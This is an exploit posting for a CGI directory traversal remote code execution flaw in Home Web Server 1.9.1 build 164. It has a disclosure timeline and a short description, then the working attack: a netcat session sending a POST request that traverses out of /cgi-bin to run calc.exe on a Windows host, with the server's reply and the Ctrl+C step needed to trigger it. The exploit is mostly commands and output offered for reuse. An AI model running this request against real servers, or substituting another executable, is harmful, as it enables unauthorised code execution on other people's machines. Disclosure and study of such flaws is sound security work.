Home Web Server 1.9.1 Build 164 Remote Code Execution
Posted on 07 June 2017
# Exploit Title: Home Web Server 1.9.1 build 164 - CGI Remote Code Execution # Date: 26/05/2017 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://downstairs.dnsalias.net/ (does not exist anymore) # Software Link: http://download.cnet.com/Home-Web-Server/3000-2648_4-10652679.html # Version: 1.9.1 (build 164) # Tested on: Windows 7 SP1 Family x64 (FR) # Category: Webapps """ Disclosure Timeline: -------------------- 2017-05-26: Vulnerability discovered 2017-05-26: Vendor website is down, no way to contact him Description : ------------- Home Web Server allows to call cgi programs via POST which are located into /cgi-bin folder. However by using a directory traversal, it is possible to run any executable being on the remote host. Instructions: ------------- - Starts Home Web Server. - Run this exploit from a remote Kali machine with netcat as below. """ # Connect with netcat, then drop a single POST to call the executable you want guillaume@kali:~/kiwi_syslog$ nc 10.0.0.100 80 POST /cgi-bin/../../../../../../../../Windows/system32/calc.exe HTTP/1.1 # Returned response HTTP/1.1 400 Bad Request Connection: close Content-Length: 0 Server: My Web Server (HWS164) """ [CTRL+C] : this is important to launch the executable we requested Calc.exe has been launched on the remote host. """
